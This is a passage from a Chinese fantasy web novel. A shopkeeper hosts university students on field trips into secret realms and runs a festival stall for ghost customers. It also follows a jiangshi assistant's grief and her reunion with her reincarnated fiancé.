他们刚才还提到了“秘境钥匙”，四年级的学生提出一个大胆的猜想：“‘守枫’也是枫隐秘境的‘钥匙’，龙翻雪的姐姐该不会是所有秘境的‘钥匙’吧？” 学生们不约而同地看向阵学老师。 阵学老师：“不排除这个可能。” 要是这样, 她简直是逆天的存在。 看到无名氏的墓后，小陶的情绪不太好，时愿问她要不要回营地，她点了点头。 时愿把跟了一路的兔子交给村民，准备离开。 村民拿出一匣子金银珠宝，问时愿：“您下次过来，可以帮我们买一些外面的商品吗？” 时愿差点被闪瞎眼睛：“可以，你们想要什么？” 又古老又豪气的交易方式，时愿觉得特有意思。 村民说：“什么都可以，最好是平时用得上的东西，还要一些调味料。” 时愿拿了一个金手镯：“这个就足够了，我能换到多少钱，就给你们买多少东西，立个字据吧。” 一行人离开秘境，和学生队伍的方向相反，正好错过。 犼依依不舍地目送时愿离开，要不是出不去，它就跟着走了。回到丹药阁，郁郁寡欢的犼见到翻箱倒柜找灵药的学生们，气不打一处来。 第一个发现犼的学生疑惑道：“这里怎么会有兔子？” “什么兔子，这是犼啊！”旁边的师兄扔掉手里的瓶子，“快跑！” 犼在地板上磨了磨爪子，追了上去。 藏书阁，三个主修符箓的四年级学生正在寻找符书。 藏书阁光线昏暗，这里的纸质古籍都没有书名，还有大量的竹简，只能一本本地翻，或者靠灵力感应。 他们找了半小时，一无所获，头晕眼花，灵力也快见底了。 “这些书适合你们。”一根食指拨下几本古籍。 古籍掉在地上，三人一动不敢动，一片浓重的阴影笼罩在他们身上，为他们取书的东西站在他们身后，从它手的长度和高度来估算，它足有两层楼高。 剑林。 来求剑的剑修小队被守林妖追着斩。 又一剑擦着身体劈下，学生们边逃边喊：“我们都不求剑了，您为啥还追着我们砍啊！” 队友：“就是说啊！” 守林妖口吻冷淡：“无聊。几百年没人来了，好不容易来人了，当然要好好切磋。” “您这是切磋吗？你这是纯切啊！”小队长崩溃大喊，“我！想！回！家！” 守林妖：“别想了，启境人已经离开了，你们出不去了。除非她让你们出去。” 话音刚落，人已经闪现到剑修小队面前，挡住了他们的去路：“别逃了，好好接招。” 剑修小队丝滑地换了个方向继续逃跑。 小队长：“您真会开玩笑，能接得住我们会不接啊？” 还好轻功课的老师十分严厉，他们被折磨了四年，个个都是翘楚。 守林妖：“你们怎么不御剑飞行？” “外面灵气稀薄，飞、飞不起来啊。”小队长出离愤怒，“您能别和我们聊天了吗？！” “打赢我，就可以。”守林妖说，“否则我会一直纠缠你们。” 小队长又又又崩溃了：“姐姐！让我们出去吧！这里有变态！” 时间充足，时愿一行人去看了月珏心心念念的瀑布。回到营地，已是傍晚。 营地十分冷清，一个人影都没看见。 月珏说：“其他人还没回来啊，都去哪儿了？” 齐主任从旁边的帐篷里探出脑袋：“他们都去百溪村了，你们没碰上吗？” 时愿：“没。” 农场的员工来询问，烧烤已经准备好了，问他们什么时候开始。 时愿在群里@所有人：别玩了，回来吃烧烤，太晚了走山路危险。 百溪秘境里，学生们的手机同时亮起，下一刻，极限求生中的学生们原地消失，犼一口咬空，藏书阁的管理员挪开窥视柜子的眼睛，里面空无一人，守林妖的剑插在空地上…… 恢复信号的手机一直在响，一条清澈的小溪哗啦啦地流向远方，精疲力竭的学生们仰躺在草地上。 阵学老师挨个点名，确认人齐后，松了口气：“有没有人受伤？” 几只手举起来。 剑修小队的队长：“心理创伤算不算？我们遇到一个又狠又话多的剑修，他把我们当猎物耍，还要我们陪他聊天，他有损我们剑修孤高冷峻的形象！” 阵学老师：“你话也很多。” “老师，你这样说的话，我又受伤了。”小队长捂住心口，“急需一顿烧烤来治愈。” 有人说：“在秘境里的时候，觉得时间好漫长，晚一秒逃跑就会死。现在出来了，才发现我们在里面总共没待多久。” 阵学老师无奈：“你们一直在嗷嗷叫，时前辈肯定被你们烦到了。有什么收获吗？” 剑修小队：“没求到剑，记住了守林妖的剑式。” 符修小队：“最后藏身的柜子里有书，我们胡乱拿了三本。不过管理员的衣服上都是符箓，逃命的时候记住了几个。” 丹药阁小队：“最后时刻一人揣了一瓶丹药，还收集了一些犼的毛发。” 其他小队也各有收获。 阵学老师：“收获不少嘛！走，回去吃烧烤庆祝，别叫前辈久等了。” 齐主任听阵学老师汇报他们在秘境中的种种经历，羡慕得眼泪都要流出来了。 烧烤很好吃，蔬菜都是农场里现摘的，用的鸡肉是农场养的果园走地鸡。烤青椒脆爽可口，辣度适中，烤玉米香甜，烤鸡翅烤鸡腿更是香到让人灵魂出窍。 晚上住在帐篷里，开了顶窗，可以看到满天的星星。 他们有看日出的计划，天不亮就起床了。 时愿一出帐篷，齐主任就过来了，他黑眼圈很大，像是一晚上没睡。他和时愿说话，脸上是肉眼可见的紧张：“前辈，我们今天还能去百溪村吗？” 昨天学生们回来得很晚，看起来很疲惫，可能是在山上迷路了，齐主任特意来问她，应该是想她帮忙带路。 时愿：“我今天有别的行程，我给你们画一张地图吧。你们确定要去的话，帮我带一点东西去给村民，不重。” 齐主任喜出望外：“重也没关系！” 龙翻雪昨晚吃了万愈丹，今早伤口已经不再流血，用舌头可以舔舐到刚萌出的牙尖。 陶蓦回吃了辟谷丹，到现在还是饱腹状态，过了一晚，她的情绪平复了下来。 月珏怀疑瓶子里装的是糖果，闻着甜甜的，让人很有食欲，她很想吃，又怕吃坏肚子，暂时放进了包里。 一行人开车到另一座山的山顶，等待日出。 千阑不明白陶蓦回为什么要跟过来，对僵尸来说，清晨第一缕阳光的杀伤力很大，精挑细选的山顶观景位更是躲无可躲。 千阑忍不住道：“等会儿你别下车。” 陶蓦回：“无所谓，我要下车。” 千阑一直注视着陶蓦回，对她的情绪变化很敏感，自从昨天在墓前哭了一场，她的眉眼就染上了忧愁，一次都没再笑过。 陶蓦回应该活很多年了，难道她认识墓主人？千阑回忆起墓主人的生平，表情僵了僵，陶蓦回不会就是墓主人那位早亡的未婚妻吧……？ 云海的尽头泛起金光，陶蓦回眉眼尽是自毁的戾气，连伞都没拿，打开车门就要冲出去。 “小陶，你留在车里吧，别晒到了。”时愿一句话把陶蓦回按回位置上。 千阑也留在车上，脱下外套挡住阳光。 陶蓦回自嘲地扯了扯嘴角：“不用这么费心。” 千阑心里一阵气闷，知道自己心里为什么不舒服了。陶蓦回虽是僵尸，但很鲜活，她如今瞧着像丢了魂的行尸走肉。就因为看到了她前未婚夫的墓。 有了时愿画的地图，齐主任一行人沿着溪流，顺利进入百溪村。 他们将时愿买的调味料送给村民，转达时愿的话：“这是前辈的谢礼，她说谢谢你们招待她们吃饭，之后再送物资过来。” 村民们收到调味料，特别高兴。学生们以为他们一高兴，就会放水，不会使劲虐他们，谁知道他们下手更狠了，说是要加倍认真才对得起这些礼物。 学生们：求放过orz 今天气温回升，时愿带大家去溯溪踩水。 他们选了安全清澈又凉快的溪流，把带来的水果饮料泡在溪水里。 时愿看着小金毛在水里游得欢快，给它拍了很多张照片。小金毛很有镜头感，还会趴在石头上，朝她眨眼，像个在饭撒的爱豆。 怎么说呢，人里人气的，越看越像某人。 时愿：“趁着施工，在院子里加个小泳池吧，明年夏天你就能天天游泳了。” 小金毛的回应是，把湿漉漉的脑袋搁在她的掌心里。 傍晚，研学群里，时愿@所有人回营地吃饭的消息是百分百的救命符。 精疲力竭的学生们丝血逃生，纷纷在群里回应，刷了满屏的：收到，立刻飞奔回去姐姐身边！ 龙翻雪气得想退群。 露营结束后，时愿准备把金镯子卖了，宋晚听说这是从百溪村带出来的金镯子，出了一个很高的价格。 这些钱被时愿换成物资，一车一车地运进百溪村。 送完最后一次物资的那天，时愿整理房间，怎么都找不到静玲婆婆送给她的那块石头，她觉得有点对不起婆婆。 可能是日有所思，夜有所梦吧，当天晚上，她梦到静玲婆婆对她说，百溪村要封闭一段时间，期待和她的下一次见面。 第76章 露营结束后, 时愿发现小陶的情绪有点不好。小陶比以前更加用心工作，店里没客人的时候，就去帮工人师傅刷墙，一分钟都停不下来, 人变沉闷了, 也没什么精神气。 时愿有过这种状态, 人在经历重大变故的时候，心里太难过了，只能逼迫自己投入工作，转移注意力。一旦停下来, 就会被负面情绪淹没。 时愿很担心小陶, 她观察到, 千阑也很担心小陶，总是寸步不离地跟着小陶。 这天打烊, 时愿对小陶说：“我给你放几天带薪假, 给你预支这个月的工资和奖金, 你去玩个几天吧。” 小陶想也不想就拒绝了：“第三批来研学的学生马上就要来了，我要留在您身边帮忙。” 小陶知道时愿在担心她后，脸上重新有了笑容。时愿能看出来, 这只是想让身边人安心的伪装。 马上就到桂圩镇一年一度的桂花节, 届时会有盛大的集市, 来自五湖四海的人们来这里摆摊、趁圩, 镇上会非常热闹。蓬莱大学为了让学生们来参加桂花节，特意提前了研学的时间。 小陶留在店里也好, 桂花节很好玩，希望到时候能让她转换心情。 蓬莱大学的大巴抵达桂圩镇时，这里已经是过节的气氛了, 街道两边挂满了灯笼，墙绘换成了桂花主题，到处都是桂花集市的指路标识，空气里浮动着馥郁的桂花香。 知道杂货铺今天会很忙，楼嚣和玉盘一早就来帮忙。 杂货铺的翻新进展很快，硬装已经快改完了，院子里比之前整洁多了。时愿在门口和院子里布置了拍照打卡点，让楼嚣和玉盘看店，她去桂花林摆摊。 学生们参观完杂货铺的灵植，也要跟着她去。 那附近有停车场，齐主任干脆出动了学校的大巴车，帮时愿运商品。 路上，齐主任酝酿了很久，才对时愿开口：“前辈，蓬莱希望您能去学校开一间分店，学校会给您一栋房子，楼下开店，楼上可以住人，装修学校负责，如果需要招聘员工，工资也由学校支付。” 时愿：“房租呢？” 齐主任吓得疯狂摆手：“当然不收房租！” 还有这种好事？ 时愿：“不会是想拐着弯让我去接浔之舅舅的班吧？” 齐主任讪笑，学校知道时愿又打开了一个秘境后，紧急召开了长老会，会议结束后，长老们意见统一，既然时愿不反感蓬莱的学生去杂货铺研学，蓬莱可以再进一步，争取时愿来蓬莱开分店。时愿现在不肯接任守枫一职，在蓬莱待久了，说不定态度会软化。 不愧是前辈，一眼就看穿了长老会的意图。 “您不愿意，我们会尊重您的意见。”齐主任一脸真诚，“只是孩子们太喜欢愿望杂货铺了，强烈要求学校来和您商议。只要您同意，什么要求都可以提。” 齐主任没有拿学生当借口，这一点是真的，偷听的学生们纷纷助攻。 “姐姐，来蓬莱开店吧，我们真的特别喜欢您！” “蓬莱的食堂特别好吃，您一定会喜欢的。” “只要您答应，所有麻烦事都交给我们来办！” 龙翻雪也期待地看着时愿，要是姐姐去蓬莱开分店，肯定要是不是去分店看看，他们见面的机会就变多了。 时愿去过蓬莱大学，又因为研学课程和他们接触了几次，知道这所学校很壕，很宠学生，为了满足学生的需求，开出这种优渥的条件确实是蓬莱的风格。 时愿想了想：“谢谢你们的邀请，我考虑一下再给答复。” 到了桂花林，时愿找到摊位，开始布置。学生们怕堵在这里，影响时愿的生意，和她打过招呼，去逛集市了。 时愿问小陶：“要是去蓬莱大学开分店，你愿意去分店担任店长一职吗？” 千阑立刻看向陶蓦回。她要是走，他当然也要跟着去。 小陶犹豫了一会儿：“我可以不去吗？” 不知为何，千阑心中有种不好的预感，他希望老板强硬一点，要求陶蓦回必须肩负起分店店长的职责。 时愿：“可以。店长的工资会比现在高很多，我希望你能再考虑一下。” 时愿的摊位比较偏僻，上午生意不太好，学生们来给她送集市上买的各种小吃，有个一年级的说：“外面的小摊生意可好了，可惜姐姐没抽中好位置。” “这个摊位是我家的专属位置。”时愿淡定解释，“桂花节已经办了十几年了，第一年的时候，我家抽中了这个位置，白天也没什么生意，到了晚上，有几个没带钱的外乡游客，问我爸妈能不能打欠条，我爸妈二话不说就同意了。后来那几个人的子女来还账，请求我家第二年还去原来的地方摆摊，我爸妈和大家商量，谁抽中这个摊位就交换，到了第二年，经那几个外乡游客介绍，来的客人更多了，还有些外乡人来摆地摊。后来不管哪家抽中这个位置，都会让给我家。” 时愿咬了一口煎萝卜糕，小朋友们还挺识货，这家煎萝卜糕最好吃了。外层焦香，内里软糯，因为加了虾干特别香，吃到最后也不觉得油腻，老板说秘诀是用自家榨的花生油。 只在晚上出现，没带钱的外乡游客……学生们听得寒毛直竖，隐约明白了什么。 看来他们必须留到晚上，跟着姐姐见世面了！ 学生们商量过后，决定分成四个小组，交替来“见世面”。 夜幕降临，桂花林亮起灯光，偏僻的地方也变得热闹。 热闹得让人有些害怕。见世面一队的学生们挨得更近了。 “小愿，好久不见啊。”一个老爷爷无声无息地走到摊位前，熟稔地和时愿聊天，“今年你爸妈不来？小烛呢……” 老爷爷看到坐在她旁边的狗，“咦”了一声，这只狗没见过，却说不出的熟悉。 “他们今年不来。”时愿问，“古爷爷，您今年也来啦，想买点什么？” 古爷爷看到摊位上的柿子礼盒，眼睛亮了亮：“今年居然有水果！还是柿子！太好了太好了，我吃苹果都吃腻了。” 古爷爷要了一盒柿子，又选了两顶帽子和一套茶具。他戴上黑色皮帽，都舍不得摘下来了：“还是你挑的款式好看！老样子，我给你写欠条，明早我儿子去你店里还钱，我的家人现在住在镇上的酒店里。” 时愿递上本子：“谢谢您今年也照顾我家的生意，希望您身体康健。” “师兄，这个爷爷是……吗？”一年级的男生用肩膀碰了碰师兄的肩膀，低声道，“我看不出来啊。” 师兄的身体很僵硬，声音压得比他还低：“别说话，看群。” 男生摸出手机，看到师兄在群里发了条信息：你们看他的脚后跟。 男生悄悄看向古爷爷的脚后跟，古爷爷走路又稳又快，要很仔细才能看得出来，他的脚后跟一直没有碰到地面，他在踮着脚走路。听说，灵魂很轻，就算像人一样走路，也踩不实。 他们来不及讨论更多，小摊又来了几位顾客。 有来买取暖器和拖把的大叔：“我家在河边，今年河水太满了，家里潮湿得很！” 三年级的师姐在群里说：这位住在冥河边上，他的裤脚上有冰霜。 大叔扫了他们一眼，摇了摇头：“现在的孩子哦，手机不离手，灯这么暗还玩手机，也不怕伤眼睛！什么这么好看，也给我看看呗！” 一队全体人员齐齐熄屏，要是被大叔看到他们的聊天记录就完蛋了。 大叔很欣慰：“这样才乖。” “说到手机，小愿，有手机壳吗？”大叔说，“我女儿给我买手机，没买手机壳，手机后面都被我摸褪色了。” 学生们很无语，大叔，你的手机瘾可比我们重多了。 时愿说：“有，您是啥型号的？” 大叔：“牌最新款，年年换新款。” 最新款还能摸掉色？质量不太好啊。时愿给他拿了几个款式，任他挑选。 有来买衣帽架的阿姨：“我的孩子们年年给我买衣服，买鞋子，家里都放不下了，又不知道给我买个大衣柜。这个好，可以收纳不老少。” 学生们：好像是没见人烧过衣柜…… 买被子和取暖器的顾客最多，估计都是住在冥河边上的，怕冷。学生们终于明白，时愿为什么带这么多棉被和取暖器来摆摊了，这都是经验啊！ 还有顾客说：“小愿，你家的东西质量最好，我去年没来，托我的孩子帮我买热水壶，没用几回就报废了！” 学生们明白了，纸祭品的质量不如愿望杂货铺的商品，所以桂花节，难得的机会，“他们”一定要来趁圩。 至于“他们”为什么能上来，就不得而知了。 桂圩镇，一个看似普通偏远的小镇，接触得越多，越觉得它扑朔迷离，充满了秘密。 而时愿，就是这个巨大谜团的中心。 来交换的二队胆子更大，他们注意到更深处有鬼魂摆的地摊，想去逛一逛。 夜市，他们对这里又不熟悉，时愿有些担心。 龙翻雪主动道：“姐姐，我跟着他们，有事给你打电话。” “好。”时愿给他一盏灯笼，“别走太远了。” 第77章 小陶一整天都没离开过摊位, 时愿让她去逛逛市集，放松一下，她也不肯去。现在却主动说，想跟着学生们去逛逛夜市。 千阑立刻道：“我陪她一起去。” 时愿说：“好, 你们也累了一天了, 要是想回去休息, 发信息告诉我一声就好，不用回来帮忙收摊。” 摆地摊的鬼魂，级别明显比来买东西的鬼魂高。 二队的学生胆大，哪个摊位都敢凑近去看。 这些鬼摊, 全都是用一张布铺在地上, 上面的货物寥寥无几。只有一个红衣男人的摊位, 上面摆满了东西，他连摆摊的布都是猩红色, 旁边还立着块木牌, 写着“有信”。 众所周知, 穿红衣的都是厉鬼。男人盘腿坐在地上，低垂着脑袋，脖子的长度看着异于常人, 阴气也比旁边的鬼魂重许多倍。 学生们这回不敢凑太近了, 借着微弱的灯光看他卖的东西。 小泥人、小木人、稻草人、锦囊、旧衣服、旧帽子、好几箱书信、用稻草捆扎起来的小布包…… 一年级的吴思远实在好奇, 指着小布包问摊主：“老板, 这里面装着什么？” “头发。”男人没有抬头，声音很细, 在夜里听格外瘆人。 什么头发？自然是鬼的头发。 鬼的头发用处很多，单说一样，它可以让灵师在虚境中隐藏气息, 是保命符一样的存在。对修士也有用处，遇到妖兽的时候，可以用鬼发来装死。 吴思远有点心动了：“怎么卖？” 同学扯了扯吴思远的袖子，提醒他别乱来，他心很大：“问一问没关系。” “阳寿，气运，钱财，附身。”鬼老板说，“你想用什么来付？” 这代价还真不小！钱财听起来比较公道，万一是要走一身的财运呢？那可不值当。 “那还是算了……我还不一定用得上呢。”吴思远冲鬼老板笑了笑，“打扰你了，祝你生意兴隆。” 都说伸手不打笑脸人，鬼老板没有生气，也笑了一声：“多谢。” 一行人准备离开，鬼老板突然道：“头发你们不敢兴趣，那这些书信呢？” 吴思远：“其实我刚才就想问了，这些书信有什么用处？” 鬼老板把手按在箱子上：“这些是人死后写的第一封信，记载着这个人生前最有价值的秘密。要是挑中了价值连城的秘密，说不定能原地飞升。” 吴思远不信：“你说的也太夸张了，在吹牛吧。要是这个秘密能让人原地飞升，这个人怎么会死？” 鬼老板大笑起来：“自然是因为他承受不起这个秘密。” “你可未必承受不起。”鬼老板的头垂得更低了，惨白的后颈翻出一只眼睛，狡黠地弯了弯，“真的不赌一把吗？” 吴思远被吓麻了，一句话都说不出来。 “走了。”龙翻雪扯着他的手臂，强行带他走。 那一幕的冲击力太大了，那只眼睛仿佛一直在眼前晃，一行人没了逛鬼市的兴致，沉默地赶路。 “灵师平时都和这些东西打交道吗？”有人小声说，“太佩服他们了。” 龙翻雪：“灵师平时看得可没这么清楚。” 千阑点头：“确实。” 事实上，逛过鬼市的灵师都没几个，更不敢像他们一样，毫无目的地问东问西，谁知道哪句话会犯厉鬼的忌讳？初生牛犊不怕虎啊。 陶蓦回冷不丁开口道：“你们没发现，那个小朋友被调包了吗？” 此话一出，学生们停下脚步，看到“吴思远”从一个大活人变成了一张薄薄的白纸，被风一吹就挂到了桂花树上，跟一张招魂幡似的。 他们被吓了一大跳！ 龙翻雪还算镇定：“别慌，我打电话给姐姐。在这里，没有鬼敢动杂货铺的人。” “何必惊动老板。”陶蓦回把指骨按得啪啪作响，眼中有嗜血的光芒，“是刚才那个红衣鬼干的，我去给他一点教训。” 月光之下，陶蓦回的两颗吸血尖牙越来越长，释放出来的阴气冻得他们忍不住打冷颤，睫毛都结了一层霜。 僵僵僵僵尸啊！有有有僵僵僵尸啊！ 之前就觉得小陶姐姐的气息有点怪怪的，但没有人想过，她会是僵尸！ 他们一时之间，不知道该害怕红衣鬼，还是害怕小陶姐姐了。 千阑看着陶蓦回的神情，想明白了什么，握住她的手腕，对龙翻雪说：“翻雪，给老板打电话。” 陶蓦回抽手，没能挣脱千阑的桎梏，这人竟然在手掌心里画符了！ “冷静一点。”千阑低声说，“我知道你在打什么主意，别逼我告诉老板。等把人找回来了，我们再好好谈谈。” 陶蓦回不挣扎了，难以置信地看着千阑：“你居然是告状精。” 千阑：“嗯，我可以是。” 陶蓦回：“……”此人脸皮甚厚。 鬼市摆摊的鬼魂都和时愿有点交情，龙翻雪也不想得罪红衣鬼，给时愿打电话的时候，只说：“光线太暗了，逛完有信小摊，吴思远和我们走散了，联系不上。” “你们去有信叔的小摊了？”时愿说，“我有他电话，我问一下他。” 没准儿吴思远找不到他们，又回有信小摊等着了呢？ 时愿拨出电话，有信叔秒接。 “有信叔，好久没联系了。” “是啊，你怎么也不来看看我这个孤老头子？” “有信叔说笑了，你哪有这么老啊。我这边一直走不开呢。”时愿问，“之前有几个大学生去过你的小摊，有一个戴眼镜，脸上有小雀斑的男生和同学走散了，有信叔，你后来有再见到他吗？” 时愿也不知道有信叔多少岁，她小时候就认识他，那会儿他看着才二十来岁，之后每年桂花节都有见面，有信叔的样貌几乎没变化。 “那个小男生啊，在我这里呢。”有信叔笑了笑，“他不太礼貌，我打算留他下来，给我干两天活。” “这样啊，那是他做得不对，我让他给你道歉。他的同学找不到他，很着急。现在太晚了，你就大人有大量，先绕过他吧。”时愿说，“我过去接他，顺便给你带我们店的栗子酥饼和柿子。” “既然小愿都开口了，我就饶了他吧。”有信叔高兴道，“我有口福喽。” 挂了电话，有信用食指拨了拨摊位上戴眼镜的小泥人：“你的好奇心不是很重吗？现在知道这些小泥人小木人都是用来干什么的了吧？” 龙翻雪收到消息回到有信小摊的时候，时愿已经到了，在和红衣鬼老板聊天。 吴思远躲在她和小金毛后面，耷拉着脑袋，肩膀在微微发抖，显然是吓惨了。 龙翻雪也被吓惨了，红衣鬼老板竟然把凌乱的头发扎起来了，背不驼了脖子不前倾了，露一张秾艳的脸，瞧着人模狗样的。 他忽然就明白了，吴思远说话不过脑，冒犯鬼老板是真，但鬼老板不见得有多生气，他只是想利用这次机会，让姐姐来见他。 狡猾的厉鬼。 “小愿啊，听说你男友失踪了？”有信瞥了眼守在时愿身边的小金毛，似笑非笑地说，“让你担心，他可真是废物，不如趁这个机会甩了他吧。我早就教导过你，女孩子要多谈几个，才知道哪种男人适合自己。” 小金毛把尾巴甩得梆梆响。 学生们听千年厉鬼和时愿唠嗑，还是这种敏感话题，完全不敢吱声。 只有龙翻雪小声附和了句：“这一点我同意。” 说完就被小金毛不小心踩了一脚。 “有信叔，今年没见到苏烛，觉得寂寞了，说气话？”时愿弯了弯眼睛，“等他回家，我一定带他来见你。” “我才不可能因为那个臭小子感到寂寞。”有信想起过去的事，五官控制不住扭曲了一下，“那臭小子，九岁就把捡到的破烂放到我摊位上卖，十二岁说我的东西过时了，要帮我装饰摊位，结果打乱了我十年间收的信……哼，他只有擅长照顾你这一个优点，现在连这个优点都没有了。” “我记得这件事，苏烛为了帮你重新排序，熬了两天夜，还给你买了市集上最好吃的红豆沙，你就原谅他了。”时愿从袋子里拿出打包的红豆沙和肠粉，“最后一份被我买到了，有信叔，你就原谅思远吧，他不是故意的。” 吴思远眼眶一热，连忙道歉。 有信接过还热乎的宵夜，心花怒放：“我跟一小孩计较什么，我还得谢谢他，不然我哪有这口福啊。” 时愿：“他不闯祸，我收了摊也要来看你的。要是红豆沙卖完了，就买杨枝甘露。” 有信心里熨帖：“老样子，摊位上的东西随你挑，今年有想要的东西吗？” 时愿：“有信叔，我对别人的秘密不感兴趣，今年也还是一样。” 时愿要领学生们回摊位，千阑说：“老板，我和小陶先回杂货铺。” 千阑拉着陶蓦回到僻静的地方，开门见山道：“你早就看到那个厉鬼调包了吴思远，你想利用这件事，和厉鬼起冲突，让他‘杀’了你，我说得没错吧？” “从百溪回来，你就想走，你早就想走了，只是杂货铺太忙，你要留下来帮忙，现在杂货铺的装修快结束了，你觉得是时候了。”他的语气变得很轻，竟不知道是说给谁听的了。 “是，这不是顺了你的意吗？我是早该死的人，是被天道厌弃的怪物，我在这个世上已经没有可以等的人了，我是时候离开了。”陶蓦回说，“你阻止得对，我刚才是太冲动了，会给老板添麻烦。以有信和老板的交情，我现在去求他，应该能给我一个痛快。” “痛快？你现在‘死’了，会魂飞魄散，不入轮回，投不了胎，当不了鬼，彻彻底底的消失！”千阑不知道自己为什么会生气，下山的时候，不是一心想着除掉这具僵尸吗？ “你再等一等，说不定能等到那位无名氏的转世。” “你知道了。”陶蓦回没有惊讶，毕竟千阑是个很细心的人，“我不等了，可能我们真的没有缘分。他转世之后，不会记得我是谁，说不定会害怕我，看着那样的他，只会徒增痛苦而已。我知道你是个好人，但为一具僵尸着想，实在没有必要。” “好啦。”陶蓦回拍了拍千阑的肩膀，“你就当没见过我，过了今天，就回师门复命吧。你也好，他也好，都会有很好的未来。” “我不同意。”千阑握住陶蓦回的手腕，“在我找到让你重入轮回的方法之前，不要做傻事。” “你明明知道，这是不可能做到的事。而且，恕我直言，动真格的话，你根本不是我的对手。”陶蓦回知道说服不了这个榆木脑袋，直接动手。 几招之后，陶蓦回被千阑摁在地上，他不知何时划破了食指，在她脖子上画符。陶蓦回完全没有心思阻止他，刚才动手的时候，她刮破了千阑的衣服，他的衣襟散开，露出了大片皮肤，右肩上，有一大片古怪的胎记。 未婚夫的师爷说过，被逐出师门的人都要洗掉身上的图腾，那个疤痕将刻在叛徒的灵魂上，直到轮回转世也甩不掉。 她未婚夫的图腾，就刻在右肩上。 第78章 时愿考虑好了, 要抓住机会，去蓬莱大学开分店。 这天早上，在去桂花市集摆摊之前，她再次找陶蓦回谈话。 陶蓦回今天穿了件黑色高领薄毛衣, 看着比之前有精神点了。 时愿夸了一句：“换风格了, 很适合你。” 陶蓦回扯了扯衣领, 表情有些不自然。穿高领上衣，是为了挡住千阑在她脖子上画的符咒。血符烙印在魂魄上，洗掉之后一般人看不见，但老板肯定能看见, 她有点羞耻, 才特意穿了件高领衣服, 现在看来，是欲盖弥彰了。 陶蓦回的耳朵烧了起来, 正襟危坐：“老板, 您找我有什么事？” 时愿：“我今天要回复蓬莱大学了, 之前让你考虑，现在再问问你的意思。你愿意去分店当店长吗？” 这次，陶蓦回没有犹豫：“我愿意。” 时愿看向假装很忙其实注意力全在这边的千阑：“千阑要一起去吗？” “要。”千阑回答得特别干脆, 生怕错过机会。 时愿了然一笑。 昨晚, 陶蓦回和千阑是一起离开的, 热闹的夜市, 花香浮动，适合剖白心意。在回杂货铺的路上, 两人可能把一切都说开了，和好了。 千阑给院子里的桂花树浇水，不慎碰落了几朵桂花, 他伸手接了，脑中浮现出昨晚的那一幕。 有桂花落在陶蓦回的脖子上，千阑看得很清楚，有眼泪从脸颊上流下来，稀释了他留下的血迹，他也看得很清楚。 陶蓦回哭了。 千阑的心跳停了一拍，惊惶地抬头，看到那双泪水朦胧的眼睛，他的头脑也变得空白，胡乱安慰：“你别怕，这是替身咒。你受伤，会转移到我身上。你现在多了一条命，如果你冲动一回，还是想自我了结，那我尊重你的选择。” 陶蓦回人都傻了，这说的是人话吗？ 陶蓦回用力捶向他的肩膀：“要是我真的冲动了，你都替我死了，还尊重什么啊！” 千阑任她发泄，眼睛亮晶晶的：“那你可以别冲动吗？” 陶蓦回看着他的眼睛，在心里骂自己眼睛不好使，他只是换了个身份，换了张脸，还是那个狗脾气，她怎么就没认出来呢？ 她要收回之前说的话，即使他忘了她是谁，忘了他们上一世的点点滴滴，认出他后，她的喜悦远远大于痛苦。 他的师爷说得不错，他们注定要纠缠数百年。 可陶蓦回不想他生生世世和僵尸纠缠不清。 “十年，我要你的十年时间。”陶蓦回说，“十年内，你找不到让我轮回转世的办法，就放手让我走。” “十年太短了。”千阑皱着眉头，讨价还价，“在我还活着的时候找到可以吗……” 陶蓦回拔掉尖牙，握住千阑的脖子，亲了上去。 一吻结束，千阑从脸红到脖子：“你、你……” “你什么你？”陶蓦回说，“你一直看着我的嘴唇，不是想亲？” “想。”千阑捧着她的脸，用嘴唇很轻地碰了一下她的额头，继续打商量，“那你是同意了，只要在我活着的时候找到办法，你就不做傻事。” 要是他在死之前找不到，自然会安排徒弟去找…… 陶蓦回：“十年，多一天都不行。” 千阑的眼神变得很委屈，仿佛在看一个亲了人不负责的渣女。 陶蓦回：“……” 忘了这人在这一世也是个老古董。 时愿回复齐主任后，齐主任高兴得合不拢嘴：“太好了，这次研学课程结束后，您什么时候有时间……不，您随时可以去学校挑选铺面。” 时愿以为，蓬莱愿意拨一整栋房子给她开店，还不收房租，已经是顶级待遇了，没想到，蓬莱的空房子多到可以任她挑选。 时愿：“研学结束后，我和你们一起去学校。分店的店长已经定好了，是小陶。到时候让她和我一起去。” 齐主任和陶蓦回打了这么久的交道，清楚她的危险是可控的，当即道：“没问题。” 学生们知道时愿答应去学校开分店后，情绪高涨，齐主任这回没下封口令，学校的论坛很快就飘满了庆祝的帖子，这个消息一天之内传遍整个大学，连食堂的大师傅都知道了。 昨晚的小插曲没有影响学生们逛夜市的热情，但今天的夜市有点冷清，那些摆地摊的熟面孔都没有来。 因为天气太冷了么？ 时愿摸了摸黑猫的脑袋：“咪，你冷不冷？” 冬毛长出来了，摸着好软乎。 半小时前，这只黑猫突然出现在愿望小摊前，一边很可怜地喵喵叫一边蹭时愿的小腿，目的明确，是来蹭饭的。 小金毛和小橘猫一起凶它，它也不害怕，可怜兮兮地看着时愿。 时愿哪里顶得住这种眼神！特意回去拿了猫粮和罐头来喂。 黑猫吃完最后一颗猫粮，把空碗往前一推，两只爪子合并在一起，仰着头全心全意地看着时愿：“喵～” 还想吃！ “这已经是第四碗了。”时愿摸了摸黑猫的肚子，原始袋很柔软，完全看不出来它吃了这么多，“你不能再吃了，等消化完再吃。” 它肯定是饿了很久了，时愿怜惜地摸了摸它的脖子，摸到一手横肉。呃……咪把自己拉扯得这么胖也是不容易。 “今天没什么人，我要收摊了，给你留个窝。”时愿用纸箱做了一个暖和的小窝，黑猫看都不看一眼，亦步亦趋地跟着她。 “你要跟我回家？” “喵～”黑猫站起来，用两只前爪按在她的腿上。 养一只猫是养，养两只猫也是养。时愿打开纸箱：“那你进来吧。” 黑猫“咚”的一声跳进纸箱，依赖地看着时愿。 时愿的心都要融化了，又遇到天选乖咪了！ 时愿收摊后，鬼魂们陆陆续续出来摆摊，平时他们很少交流，今日是例外。 鬼魂们窃窃私语。 “那东西为什么会来这里？我差点吓活了。” “应该是被食物香气引过来的，还好我们机灵，躲起来了，没有冲撞到它，不然我们都不够它塞牙缝的。” “小愿一点都不怕它，还带它走了，还得是小愿啊。等我投胎了，一定去报恩。” 有信今天有事耽误了，来得晚，听他们啰嗦了一堆话，也没听明白：“小愿把什么东西带回去了？” 不是吧不是吧……店主真的要把那黑不溜秋的东西带回店里？白树生心惊肉跳。 她看不出这东西的根脚，但能感觉到它的危险。 